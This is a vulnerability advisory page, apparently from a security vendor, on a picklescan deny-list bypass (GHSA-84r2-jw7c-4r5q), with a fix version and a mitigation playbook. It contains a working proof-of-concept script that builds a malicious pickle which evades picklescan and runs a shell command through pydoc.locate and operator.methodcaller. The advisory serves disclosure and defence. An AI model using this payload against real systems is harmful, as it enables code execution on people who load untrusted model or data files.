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🐍 PyPI

GHSA-84r2-jw7c-4r5q

Fix: mmaitre314/picklescan#53

GHSA-84r2-jw7c-4r5q is a CWE-184 vulnerability in picklescan. O3 Security confirms whether GHSA-84r2-jw7c-4r5q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Picklescan has Incomplete List of Disallowed Inputs

Also known asCVE-2025-71320PYSEC-2026-1785
Published
Dec 29, 2025
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected
🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly

  • pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
  • operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.

Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.

PoC

use the provided script to create a malicious pickle file

import pickle
import pydoc
import operator
import os

class ModuleLocator:
    def __init__(self, module_name):
        self.module_name = module_name
        
    def __reduce__(self):
        return (pydoc.locate, (self.module_name,))

class RCEPayload:
    def __reduce__(self):
        
        cmd = "notepad" #put your payload here
        
        mc = operator.methodcaller("system", cmd)
        return (mc, (ModuleLocator("os"),))

def generate_exploit():
    payload = RCEPayload()
    
    try:
        with open("bypass.pkl", "wb") as f:
            f.write(pickle.dumps(payload))
        print("File 'bypass.pkl' created.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    generate_exploit()

The generated payload will not be flagged as dangerous by picklescan but is actually malicious.

import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))

Script to open the pickle file, demonstrating impact

<img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" />

Remediation

The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpicklescanall versions0.0.33

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-84r2-jw7c-4r5q is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-84r2-jw7c-4r5q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-84r2-jw7c-4r5q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, pickle
O3 Security · Impact-Aware SCA

Is GHSA-84r2-jw7c-4r5q in your dependencies?

O3 detects GHSA-84r2-jw7c-4r5q across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.